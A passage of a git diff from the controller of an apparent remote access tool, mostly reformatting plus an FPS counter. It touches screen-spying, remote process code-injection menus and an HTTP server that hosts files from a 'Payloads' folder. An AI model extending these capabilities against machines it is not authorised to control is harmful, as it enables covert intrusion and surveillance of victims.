SysMenu->CheckMenuItem(nID, MF_CHECKED); + SysMenu->CheckMenuItem(i, MF_UNCHECKED); + } + SysMenu->CheckMenuItem(nID, MF_CHECKED); break; } @@ -1102,19 +1101,21 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent) } CWnd* pMain = AfxGetMainWnd(); if (pMain) - ::PostMessageA(pMain->GetSafeHwnd(), WM_SHOWNOTIFY, (WPARAM)new CharMsg("连接已断开"), - (LPARAM)new CharMsg(m_IPAddress + " - 远程桌面连接已断开")); + ::PostMessageA(pMain->GetSafeHwnd(), WM_SHOWNOTIFY, (WPARAM)new CharMsg("连接已断开"), + (LPARAM)new CharMsg(m_IPAddress + " - 远程桌面连接已断开")); this->PostMessageA(WM_CLOSE, 0, 0); return; - } + } if (nIDEvent == 3) { KillTimer(3); PostMessageA(WM_PAINT); } if (nIDEvent == 4) { - // 计算传输速率并更新标题 + // 计算传输速率和帧率并更新标题 m_dTransferRate = m_ulBytesThisSecond / 1024.0; // KB/s m_ulBytesThisSecond = 0; + m_ulFrameRate = m_ulFramesThisSecond; + m_ulFramesThisSecond = 0; UpdateWindowTitle(); } __super::OnTimer(nIDEvent); @@ -1129,11 +1130,11 @@ void CScreenSpyDlg::UpdateWindowTitle() CString strTitle; if (m_dTransferRate >= 1024) { - strTitle.FormatL("%s - 远程桌面控制 %d×%d | %.1f MB/s", - m_IPAddress, width, height, m_dTransferRate / 1024); + strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.1f MB/s", + m_IPAddress, width, height, m_ulFrameRate, m_dTransferRate / 1024); } else { - strTitle.FormatL("%s - 远程桌面控制 %d×%d | %.0f KB/s", - m_IPAddress, width, height, m_dTransferRate); + strTitle.FormatL("%s - 远程桌面控制 %d×%d | %u FPS | %.0f KB/s", + m_IPAddress, width, height, m_ulFrameRate, m_dTransferRate); } SetWindowText(strTitle); } @@ -1166,8 +1167,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) (GetKeyState(VK_CONTROL) & 0x8000) && (GetKeyState(VK_MENU) & 0x8000)) { LeaveFullScreen(); - BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; - m_ContextObject->Send2Client(cmd, sizeof(cmd)); + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); return TRUE; } } @@ -1439,7 +1440,7 @@ void CScreenSpyDlg::EnterFullScreen() // 全屏退出成功则返回true bool CScreenSpyDlg::LeaveFullScreen() { - if (1){ + if (1) { KillTimer(1); if (m_pToolbar) { m_pToolbar->DestroyWindow(); @@ -1491,14 +1492,12 @@ BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt) void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point) { if (m_Settings.RemoteCursor) { - if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) - { + if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) { CRect rcToolbar; m_pToolbar->GetWindowRect(&rcToolbar); ScreenToClient(&rcToolbar); // 转换到主窗口坐标系 - if (rcToolbar.PtInRect(point)) - { + if (rcToolbar.PtInRect(point)) { // 如果鼠标在工具栏区域,直接显示本地光标并返回,不发送远程指令 ::SetCursor(LoadCursor(NULL, IDC_ARROW)); return; @@ -1508,7 +1507,7 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point) // 关键:在控制模式下,强制设置光标为空,隐藏本地物理箭头 ::SetCursor(NULL); } - }else if (!m_bMouseTracking) { + } else if (!m_bMouseTracking) { m_bMouseTracking = true; SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); } diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index fec1983..e07b338 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -114,6 +114,9 @@ public: // 传输速率统计 ULONG m_ulBytesThisSecond = 0; // 本秒累计字节 double m_dTransferRate = 0; // 当前速率 (KB/s) + // 帧率统计 + ULONG m_ulFramesThisSecond = 0; // 本秒累计帧数 + ULONG m_ulFrameRate = 0; // 当前帧率 (FPS) void OnTimer(UINT_PTR nIDEvent); void UpdateWindowTitle(); @@ -137,8 +140,8 @@ public: afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam); afx_msg void OnExitFullscreen() { - BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; - m_ContextObject->Send2Client(cmd, sizeof(cmd)); + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); LeaveFullScreen(); } diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 5090ddc..22449d6 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -339,11 +339,13 @@ public: Zcctx = nullptr; } } - virtual void SetLastHeartbeat(uint64_t time) override { - LastHeartbeatTime = time; - } - virtual uint64_t GetLastHeartbeat() override { - return LastHeartbeatTime; + virtual void SetLastHeartbeat(uint64_t time) override + { + LastHeartbeatTime = time; + } + virtual uint64_t GetLastHeartbeat() override + { + return LastHeartbeatTime; } CString sClientInfo[ONLINELIST_MAX]; CString additonalInfo[RES_MAX]; @@ -368,7 +370,7 @@ public: std::string GroupName; // 分组名称 CLock SendLock; // fix #214 time_t OnlineTime = 0; // 上线时间 - time_t LastHeartbeatTime = 0; // 最后心跳时间 + time_t LastHeartbeatTime = 0; // 最后心跳时间 // 预分配的解压缩缓冲区,避免频繁内存分配 PBYTE DecompressBuffer = nullptr; @@ -382,7 +384,8 @@ public: int CompressLevel = ZSTD_CLEVEL_DEFAULT; ZSTD_CCtx* Zcctx = nullptr; - void EnableZstdContext(int level = ZSTD_CLEVEL_DEFAULT) { + void EnableZstdContext(int level = ZSTD_CLEVEL_DEFAULT) + { CAutoCLock L(SendLock); CompressLevel = level; if (Zcctx == nullptr) { @@ -390,14 +393,16 @@ public: ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level); } } - void SetCompressionLevel(int level) { + void SetCompressionLevel(int level) + { CAutoCLock L(SendLock); CompressLevel = level; if (Zcctx) { ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level); } } - int GetZstdLevel() const { + int GetZstdLevel() const + { return CompressLevel; } // 获取或分配解压缩缓冲区 @@ -490,7 +495,7 @@ public: m_bProxyConnected = FALSE; server = (Server*)svr; OnlineTime = time(0); - LastHeartbeatTime = OnlineTime; + LastHeartbeatTime = OnlineTime; } uint64_t GetAliveTime()const { @@ -535,7 +540,7 @@ public: } virtual int GetPort() const { - // 第一次返回套接字,后续返回地址栏端口号 + // 第一次返回套接字,后续返回地址栏端口号 if (sClientInfo[ONLINELIST_ADDR].IsEmpty()) return sClientSocket; return atoi(sClientInfo[ONLINELIST_ADDR]); @@ -556,16 +561,17 @@ public: } void SetAdditionalData(int index, const std::string &value) { - if (index >= 0 && index < RES_MAX) { + if (index >= 0 && index < RES_MAX) { additonalInfo[index] = value.c_str(); } - } + } std::string GetGroupName() const override { return GroupName; } - virtual void SetGroupName(const std::string& group)override { - GroupName = group; + virtual void SetGroupName(const std::string& group)override + { + GroupName = group; } BOOL IsLogin() const override { @@ -739,8 +745,8 @@ public: { char client_ip[INET_ADDRSTRLEN]; #if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501) - strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); - client_ip[INET_ADDRSTRLEN - 1] = '\0'; + strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); + client_ip[INET_ADDRSTRLEN - 1] = '\0'; #else inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); #endif diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 47a6813..29e38f5 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -26,7 +26,7 @@ CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent) , m_sFrpToken(_T("")) , m_nFileServerPort(0) { - g_2015RemoteDlg = pParent; + g_2015RemoteDlg = pParent; } CSettingDlg::~CSettingDlg() @@ -66,7 +66,7 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_COMBO_VIDEO_WALL, m_ComboVideoWall); DDX_Control(pDX, IDC_EDIT_FILESERVER_PORT, m_EditFileServerPort); DDX_Text(pDX, IDC_EDIT_FILESERVER_PORT, m_nFileServerPort); - DDV_MinMaxInt(pDX, m_nFileServerPort, 1, 65535); + DDV_MinMaxInt(pDX, m_nFileServerPort, 1, 65535); } BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index e8d2a01..1bef3e7 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -1,7 +1,7 @@ #pragma once #include "afxwin.h" #include "LangManager.h" -#include "2015RemoteDlg.h" +#include "2015RemoteDlg.h" // CSettingDlg 对话框 diff --git a/server/2015Remote/SplashDlg.h b/server/2015Remote/SplashDlg.h index 729a588..f61a0ef 100644 --- a/server/2015Remote/SplashDlg.h +++ b/server/2015Remote/SplashDlg.h @@ -11,7 +11,7 @@ public: BOOL Create(CWnd* pParent = NULL); private: - friend class CMy2015RemoteApp; + friend class CMy2015RemoteApp; int SafeMessageBox(LPCTSTR lpszText, LPCTSTR lpszCaption, UINT nType); public: diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 573e5e8..6acc7da 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -102,7 +102,8 @@ struct WindowAttrs { }; // 从末尾解析窗口属性(支持标题含 | 字符, 兼容老客户端) -BOOL ParseWindowAttrs(const char* szData, WindowAttrs* attrs) { +BOOL ParseWindowAttrs(const char* szData, WindowAttrs* attrs) +{ if (szData == NULL || attrs == NULL) return FALSE; @@ -174,7 +175,7 @@ void CSystemDlg::ShowWindowsList(void) m_ControlList.InsertItem(i, str); // 句柄 m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题 m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 - m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID + m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID // ItemData 为窗口句柄 auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} }; m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d) @@ -540,7 +541,7 @@ void CSystemDlg::OnPlistInject() MessageBoxAPI_L(m_hWnd, "只能同时向一个进程进行代码注入!", "提示", MB_ICONINFORMATION); if (MessageBoxAPI_L(m_hWnd, "确定要向目标进程 (仅限64位) 进行代码注入吗?\n此操作可能被安全软件阻止,或导致进程崩溃!", - "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) return; DWORD dwOffset = 1, dwProcessID = 0; @@ -568,7 +569,7 @@ void CSystemDlg::OnPlistAntiBlackScreen() MessageBoxAPI_L(m_hWnd, "只能同时向一个进程进行反黑屏操作!", "提示", MB_ICONINFORMATION); if (MessageBoxAPI_L(m_hWnd, "确定要向目标进程进行反黑屏吗?\n请确保目标进程、DLL及被控端架构务必相同!", - "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) return; DWORD dwOffset = 1, dwProcessID = 0; diff --git a/server/2015Remote/ToolbarDlg.cpp b/server/2015Remote/ToolbarDlg.cpp index 118dc82..c812571 100644 --- a/server/2015Remote/ToolbarDlg.cpp +++ b/server/2015Remote/ToolbarDlg.cpp @@ -294,9 +294,15 @@ void CToolbarDlg::ApplyOpacity() // 透明度级别: 0=100%(255), 1=75%(191), 2=50%(128) BYTE opacity; switch (m_nOpacityLevel) { - case 1: opacity = 191; break; // 75% - case 2: opacity = 128; break; // 50% - default: opacity = 255; break; // 100% + case 1: + opacity = 191; + break; // 75% + case 2: + opacity = 128; + break; // 50% + default: + opacity = 255; + break; // 100% } SetLayeredWindowAttributes(RGB(255, 0, 255), opacity, LWA_COLORKEY | LWA_ALPHA); } @@ -304,9 +310,12 @@ void CToolbarDlg::ApplyOpacity() CString CToolbarDlg::GetOpacityText() { switch (m_nOpacityLevel) { - case 1: return _TR("透明75%"); - case 2: return _TR("透明50%"); - default: return _TR("透明度"); + case 1: + return _TR("透明75%"); + case 2: + return _TR("透明50%"); + default: + return _TR("透明度"); } } diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index 6669433..d728261 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -39,12 +39,15 @@ public: virtual FlagType GetFlagType() const = 0; virtual std::string GetGroupName() const = 0; virtual uint64_t GetAliveTime()const = 0; - virtual void SetLastHeartbeat(uint64_t time) = 0; + virtual void SetLastHeartbeat(uint64_t time) = 0; virtual uint64_t GetLastHeartbeat() = 0; virtual void CancelIO() = 0; public: virtual ~context() {} virtual void Destroy() {} - virtual BOOL IsLogin() const { return TRUE; } + virtual BOOL IsLogin() const + { + return TRUE; + } virtual void SetGroupName(const std::string& group) {} }; diff --git a/server/2015Remote/file_server.h b/server/2015Remote/file_server.h index 3d15152..c9c90a4 100644 --- a/server/2015Remote/file_server.h +++ b/server/2015Remote/file_server.h @@ -18,16 +18,19 @@ namespace fs = std::filesystem; -class FileDownloadServer { +class FileDownloadServer +{ public: - FileDownloadServer(int port = 8080) : port_(port) { + FileDownloadServer(int port = 8080) : port_(port) + { char exe_path[MAX_PATH]; GetModuleFileNameA(NULL, exe_path, MAX_PATH); root_dir_ = fs::path(exe_path).parent_path() / "Payloads"; fs::create_directories(root_dir_); } - bool Start() { + bool Start() + { server_.Get("/payloads/(.*)", [this](const httplib::Request& req, httplib::Response& res) { std::string filename = req.matches[1]; @@ -47,38 +50,39 @@ public: std::string path_str = filepath.string(); res.set_header("Content-Disposition", - "attachment; filename=\"" + filename + "\""); + "attachment; filename=\"" + filename + "\""); res.set_content_provider(filesize, "application/octet-stream", - [path_str](size_t offset, size_t length, httplib::DataSink& sink) { - std::ifstream file(path_str, std::ios::binary); - if (!file) return false; - file.seekg(offset); + [path_str](size_t offset, size_t length, httplib::DataSink& sink) { + std::ifstream file(path_str, std::ios::binary); + if (!file) return false; + file.seekg(offset); - char buffer[65536]; - size_t remaining = length; - while (remaining > 0 && file) { - size_t to_read = (std::min)(remaining, sizeof(buffer)); - file.read(buffer, to_read); - size_t n = (size_t)file.gcount(); - if (n == 0) break; - sink.write(buffer, n); - remaining -= n; - } - return true; + char buffer[65536]; + size_t remaining = length; + while (remaining > 0 && file) { + size_t to_read = (std::min)(remaining, sizeof(buffer)); + file.read(buffer, to_read); + size_t n = (size_t)file.gcount(); + if (n == 0) break; + sink.write(buffer, n); + remaining -= n; } - ); - }); + return true; + } + ); + }); server_thread_ = std::thread([this]() { server_.listen("0.0.0.0", port_); - }); + }); std::this_thread::sleep_for(std::chrono::milliseconds(100)); return server_.is_running(); } - void Stop() { + void Stop() + { server_.stop(); if (server_thread_.joinable()) server_thread_.join(); } diff --git a/server/2015Remote/httplib.h b/server/2015Remote/httplib.h index d29ff85..851ae4c 100644 --- a/server/2015Remote/httplib.h +++ b/server/2015Remote/httplib.h @@ -288,9 +288,11 @@ using socket_t = int; /* * Declaration */ -namespace httplib { +namespace httplib +{ -namespace detail { +namespace detail +{ /* * Backport std::make_unique from C++14. @@ -302,130 +304,140 @@ namespace detail { template typename std::enable_if::value, std::unique_ptr>::type -make_unique(Args &&...args) { - return std::unique_ptr(new T(std::forward(args)...)); +make_unique(Args &&...args) +{ + return std::unique_ptr(new T(std::forward(args)...)); } template typename std::enable_if::value, std::unique_ptr>::type -make_unique(std::size_t n) { - typedef typename std::remove_extent::type RT; - return std::unique_ptr(new RT[n]); +make_unique(std::size_t n) +{ + typedef typename std::remove_extent::type RT; + return std::unique_ptr(new RT[n]); } struct ci { - bool operator()(const std::string &s1, const std::string &s2) const { - return std::lexicographical_compare(s1.begin(), s1.end(), s2.begin(), - s2.end(), - [](unsigned char c1, unsigned char c2) { - return ::tolower(c1) < ::tolower(c2); - }); - } + bool operator()(const std::string &s1, const std::string &s2) const + { + return std::lexicographical_compare(s1.begin(), s1.end(), s2.begin(), + s2.end(), + [](unsigned char c1, unsigned char c2) { + return ::tolower(c1) < ::tolower(c2); + }); + } }; // This is based on // "http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4189". struct scope_exit { - explicit scope_exit(std::function &&f) - : exit_function(std::move(f)), execute_on_destruction{true} {} + explicit scope_exit(std::function &&f) + : exit_function(std::move(f)), execute_on_destruction{true} {} - scope_exit(scope_exit &&rhs) noexcept - : exit_function(std::move(rhs.exit_function)), - execute_on_destruction{rhs.execute_on_destruction} { - rhs.release(); - } + scope_exit(scope_exit &&rhs) noexcept + : exit_function(std::move(rhs.exit_function)), + execute_on_destruction{rhs.execute_on_destruction} + { + rhs.release(); + } - ~scope_exit() { - if (execute_on_destruction) { this->exit_function(); } - } + ~scope_exit() + { + if (execute_on_destruction) { + this->exit_function(); + } + } - void release() { this->execute_on_destruction = false; } + void release() + { + this->execute_on_destruction = false; + } private: - scope_exit(const scope_exit &) = delete; - void operator=(const scope_exit &) = delete; - scope_exit &operator=(scope_exit &&) = delete; + scope_exit(const scope_exit &) = delete; + void operator=(const scope_exit &) = delete; + scope_exit &operator=(scope_exit &&) = delete; - std::function exit_function; - bool execute_on_destruction; + std::function exit_function; + bool execute_on_destruction; }; } // namespace detail enum StatusCode { - // Information responses - Continue_100 = 100, - SwitchingProtocol_101 = 101, - Processing_102 = 102, - EarlyHints_103 = 103, + // Information responses + Continue_100 = 100, + SwitchingProtocol_101 = 101, + Processing_102 = 102, + EarlyHints_103 = 103, - // Successful responses - OK_200 = 200, - Created_201 = 201, - Accepted_202 = 202, - NonAuthoritativeInformation_203 = 203, - NoContent_204 = 204, - ResetContent_205 = 205, - PartialContent_206 = 206, - MultiStatus_207 = 207, - AlreadyReported_208 = 208, - IMUsed_226 = 226, + // Successful responses + OK_200 = 200, + Created_201 = 201, + Accepted_202 = 202, + NonAuthoritativeInformation_203 = 203, + NoContent_204 = 204, + ResetContent_205 = 205, + PartialContent_206 = 206, + MultiStatus_207 = 207, + AlreadyReported_208 = 208, + IMUsed_226 = 226, - // Redirection messages - MultipleChoices_300 = 300, - MovedPermanently_301 = 301, - Found_302 = 302, - SeeOther_303 = 303, - NotModified_304 = 304, - UseProxy_305 = 305, - unused_306 = 306, - TemporaryRedirect_307 = 307, - PermanentRedirect_308 = 308, + // Redirection messages + MultipleChoices_300 = 300, + MovedPermanently_301 = 301, + Found_302 = 302, + SeeOther_303 = 303, + NotModified_304 = 304, + UseProxy_305 = 305, + unused_306 = 306, + TemporaryRedirect_307 = 307, + PermanentRedirect_308 = 308, - // Client error responses - BadRequest_400 = 400, - Unauthorized_401 = 401, - PaymentRequired_402 = 402, - Forbidden_403 = 403, - NotFound_404 = 404, - MethodNotAllowed_405 = 405, - NotAcceptable_406 = 406, - ProxyAuthenticationRequired_407 = 407, - RequestTimeout_408 = 408, - Conflict_409 = 409, - Gone_410 = 410, - LengthRequired_411 = 411, - PreconditionFailed_412 = 412, - PayloadTooLarge_413 = 413, - UriTooLong_414 = 414, - UnsupportedMediaType_415 = 415, - RangeNotSatisfiable_416 = 416, - ExpectationFailed_417 = 417, - ImATeapot_418 = 418, - MisdirectedRequest_421 = 421, - UnprocessableContent_422 = 422, - Locked_423 = 423, - FailedDependency_424 = 424, - TooEarly_425 = 425, - UpgradeRequired_426 = 426, - PreconditionRequired_428 = 428, - TooManyRequests_429 = 429, - RequestHeaderFieldsTooLarge_431 = 431, - UnavailableForLegalReasons_451 = 451, + // Client error responses + BadRequest_400 = 400, + Unauthorized_401 = 401, + PaymentRequired_402 = 402, + Forbidden_403 = 403, + NotFound_404 = 404, + MethodNotAllowed_405 = 405, + NotAcceptable_406 = 406, + ProxyAuthenticationRequired_407 = 407, + RequestTimeout_408 = 408, + Conflict_409 = 409, + Gone_410 = 410, + LengthRequired_411 = 411, + PreconditionFailed_412 = 412, + PayloadTooLarge_413 = 413, + UriTooLong_414 = 414, + UnsupportedMediaType_415 = 415, + RangeNotSatisfiable_416 = 416, + ExpectationFailed_417 = 417, + ImATeapot_418 = 418, + MisdirectedRequest_421 = 421, + UnprocessableContent_422 = 422, + Locked_423 = 423, + FailedDependency_424 = 424, + TooEarly_425 = 425, + UpgradeRequired_426 = 426, + PreconditionRequired_428 = 428, + TooManyRequests_429 = 429, + RequestHeaderFieldsTooLarge_431 = 431, + UnavailableForLegalReasons_451 = 451, - // Server error responses - InternalServerError_500 = 500, - NotImplemented_501 = 501, - BadGateway_502 = 502, - ServiceUnavailable_503 = 503, - GatewayTimeout_504 = 504, - HttpVersionNotSupported_505 = 505, - VariantAlsoNegotiates_506 = 506, - InsufficientStorage_507 = 507, - LoopDetected_508 = 508, - NotExtended_510 = 510, - NetworkAuthenticationRequired_511 = 511, + // Server error responses + InternalServerError_500 = 500, + NotImplemented_501 = 501, + BadGateway_502 = 502, + ServiceUnavailable_503 = 503, + GatewayTimeout_504 = 504, + HttpVersionNotSupported_505 = 505, + VariantAlsoNegotiates_506 = 506, + InsufficientStorage_507 = 507, + LoopDetected_508 = 508, + NotExtended_510 = 510, + NetworkAuthenticationRequired_511 = 511, }; using Headers = std::multimap; @@ -439,45 +451,48 @@ struct Response; using ResponseHandler = std::function; struct MultipartFormData { - std::string name; - std::string content; - std::string filename; - std::string content_type; + std::string name; + std::string content; + std::string filename; + std::string content_type; }; using MultipartFormDataItems = std::vector; using MultipartFormDataMap = std::multimap; -class DataSink { +class DataSink +{ public: - DataSink() : os(&sb_), sb_(*this) {} + DataSink() : os(&sb_), sb_(*this) {} - DataSink(const DataSink &) = delete; - DataSink &operator=(const DataSink &) = delete; - DataSink(DataSink &&) = delete; - DataSink &operator=(DataSink &&) = delete; + DataSink(const DataSink &) = delete; + DataSink &operator=(const DataSink &) = delete; + DataSink(DataSink &&) = delete; + DataSink &operator=(DataSink &&) = delete; - std::function write; - std::function is_writable; - std::function done; - std::function done_with_trailer; - std::ostream os; + std::function write; + std::function is_writable; + std::function done; + std::function done_with_trailer; + std::ostream os; private: - class data_sink_streambuf : public std::streambuf { - public: - explicit data_sink_streambuf(DataSink &sink) : sink_(sink) {} + class data_sink_streambuf : public std::streambuf + { + public: + explicit data_sink_streambuf(DataSink &sink) : sink_(sink) {} - protected: - std::streamsize xsputn(const char *s, std::streamsize n) override { - sink_.write(s, static_cast(n)); - return n; - } + protected: + std::streamsize xsputn(const char *s, std::streamsize n) override + { + sink_.write(s, static_cast(n)); + return n; + } - private: - DataSink &sink_; - }; + private: + DataSink &sink_; + }; - data_sink_streambuf sb_; + data_sink_streambuf sb_; }; using ContentProvider = @@ -489,10 +504,10 @@ using ContentProviderWithoutLength = using ContentProviderResourceReleaser = std::function; struct MultipartFormDataProvider { - std::string name; - ContentProviderWithoutLength provider; - std::string filename; - std::string content_type; + std::string name; + ContentProviderWithoutLength provider; + std::string filename; + std::string content_type; }; using MultipartFormDataProviderItems = std::vector; @@ -506,234 +521,247 @@ using ContentReceiver = using MultipartContentHeader = std::function; -class ContentReader { +class ContentReader +{ public: - using Reader = std::function; - using MultipartReader = std::function; + using Reader = std::function; + using MultipartReader = std::function; - ContentReader(Reader reader, MultipartReader multipart_reader) - : reader_(std::move(reader)), - multipart_reader_(std::move(multipart_reader)) {} + ContentReader(Reader reader, MultipartReader multipart_reader) + : reader_(std::move(reader)), + multipart_reader_(std::move(multipart_reader)) {} - bool operator()(MultipartContentHeader header, - ContentReceiver receiver) const { - return multipart_reader_(std::move(header), std::move(receiver)); - } + bool operator()(MultipartContentHeader header, + ContentReceiver receiver) const + { + return multipart_reader_(std::move(header), std::move(receiver)); + } - bool operator()(ContentReceiver receiver) const { - return reader_(std::move(receiver)); - } + bool operator()(ContentReceiver receiver) const + { + return reader_(std::move(receiver)); + } - Reader reader_; - MultipartReader multipart_reader_; + Reader reader_; + MultipartReader multipart_reader_; }; using Range = std::pair; using Ranges = std::vector; struct Request { - std::string method; - std::string path; - Headers headers; - std::string body; + std::string method; + std::string path; + Headers headers; + std::string body; - std::string remote_addr; - int remote_port = -1; - std::string local_addr; - int local_port = -1; + std::string remote_addr; + int remote_port = -1; + std::string local_addr; + int local_port = -1; - // for server - std::string version; - std::string target; - Params params; - MultipartFormDataMap files; - Ranges ranges; - Match matches; - std::unordered_map path_params; + // for server + std::string version; + std::string target; + Params params; + MultipartFormDataMap files; + Ranges ranges; + Match matches; + std::unordered_map path_params; - // for client - ResponseHandler response_handler; - ContentReceiverWithProgress content_receiver; - Progress progress; + // for client + ResponseHandler response_handler; + ContentReceiverWithProgress content_receiver; + Progress progress; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - const SSL *ssl = nullptr; + const SSL *ssl = nullptr; #endif - bool has_header(const std::string &key) const; - std::string get_header_value(const std::string &key, size_t id = 0) const; - uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; - size_t get_header_value_count(const std::string &key) const; - void set_header(const std::string &key, const std::string &val); + bool has_header(const std::string &key) const; + std::string get_header_value(const std::string &key, size_t id = 0) const; + uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; + size_t get_header_value_count(const std::string &key) const; + void set_header(const std::string &key, const std::string &val); - bool has_param(const std::string &key) const; - std::string get_param_value(const std::string &key, size_t id = 0) const; - size_t get_param_value_count(const std::string &key) const; + bool has_param(const std::string &key) const; + std::string get_param_value(const std::string &key, size_t id = 0) const; + size_t get_param_value_count(const std::string &key) const; - bool is_multipart_form_data() const; + bool is_multipart_form_data() const; - bool has_file(const std::string &key) const; - MultipartFormData get_file_value(const std::string &key) const; - std::vector get_file_values(const std::string &key) const; + bool has_file(const std::string &key) const; + MultipartFormData get_file_value(const std::string &key) const; + std::vector get_file_values(const std::string &key) const; - // private members... - size_t redirect_count_ = CPPHTTPLIB_REDIRECT_MAX_COUNT; - size_t content_length_ = 0; - ContentProvider content_provider_; - bool is_chunked_content_provider_ = false; - size_t authorization_count_ = 0; + // private members... + size_t redirect_count_ = CPPHTTPLIB_REDIRECT_MAX_COUNT; + size_t content_length_ = 0; + ContentProvider content_provider_; + bool is_chunked_content_provider_ = false; + size_t authorization_count_ = 0; }; struct Response { - std::string version; - int status = -1; - std::string reason; - Headers headers; - std::string body; - std::string location; // Redirect location + std::string version; + int status = -1; + std::string reason; + Headers headers; + std::string body; + std::string location; // Redirect location - bool has_header(const std::string &key) const; - std::string get_header_value(const std::string &key, size_t id = 0) const; - uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; - size_t get_header_value_count(const std::string &key) const; - void set_header(const std::string &key, const std::string &val); + bool has_header(const std::string &key) const; + std::string get_header_value(const std::string &key, size_t id = 0) const; + uint64_t get_header_value_u64(const std::string &key, size_t id = 0) const; + size_t get_header_value_count(const std::string &key) const; + void set_header(const std::string &key, const std::string &val); - void set_redirect(const std::string &url, int status = StatusCode::Found_302); - void set_content(const char *s, size_t n, const std::string &content_type); - void set_content(const std::string &s, const std::string &content_type); + void set_redirect(const std::string &url, int status = StatusCode::Found_302); + void set_content(const char *s, size_t n, const std::string &content_type); + void set_content(const std::string &s, const std::string &content_type); - void set_content_provider( - size_t length, const std::string &content_type, ContentProvider provider, - ContentProviderResourceReleaser resource_releaser = nullptr); + void set_content_provider( + size_t length, const std::string &content_type, ContentProvider provider, + ContentProviderResourceReleaser resource_releaser = nullptr); - void set_content_provider( - const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser = nullptr); + void set_content_provider( + const std::string &content_type, ContentProviderWithoutLength provider, + ContentProviderResourceReleaser resource_releaser = nullptr); - void set_chunked_content_provider( - const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser = nullptr); + void set_chunked_content_provider( + const std::string &content_type, ContentProviderWithoutLength provider, + ContentProviderResourceReleaser resource_releaser = nullptr); - Response() = default; - Response(const Response &) = default; - Response &operator=(const Response &) = default; - Response(Response &&) = default; - Response &operator=(Response &&) = default; - ~Response() { - if (content_provider_resource_releaser_) { - content_provider_resource_releaser_(content_provider_success_); - } - } - - // private members... - size_t content_length_ = 0; - ContentProvider content_provider_; - ContentProviderResourceReleaser content_provider_resource_releaser_; - bool is_chunked_content_provider_ = false; - bool content_provider_success_ = false; -}; - -class Stream { -public: - virtual ~Stream() = default; - - virtual bool is_readable() const = 0; - virtual bool is_writable() const = 0; - - virtual ssize_t read(char *ptr, size_t size) = 0; - virtual ssize_t write(const char *ptr, size_t size) = 0; - virtual void get_remote_ip_and_port(std::string &ip, int &port) const = 0; - virtual void get_local_ip_and_port(std::string &ip, int &port) const = 0; - virtual socket_t socket() const = 0; - - template - ssize_t write_format(const char *fmt, const Args &...args); - ssize_t write(const char *ptr); - ssize_t write(const std::string &s); -}; - -class TaskQueue { -public: - TaskQueue() = default; - virtual ~TaskQueue() = default; - - virtual void enqueue(std::function fn) = 0; - virtual void shutdown() = 0; - - virtual void on_idle() {} -}; - -class ThreadPool : public TaskQueue { -public: - explicit 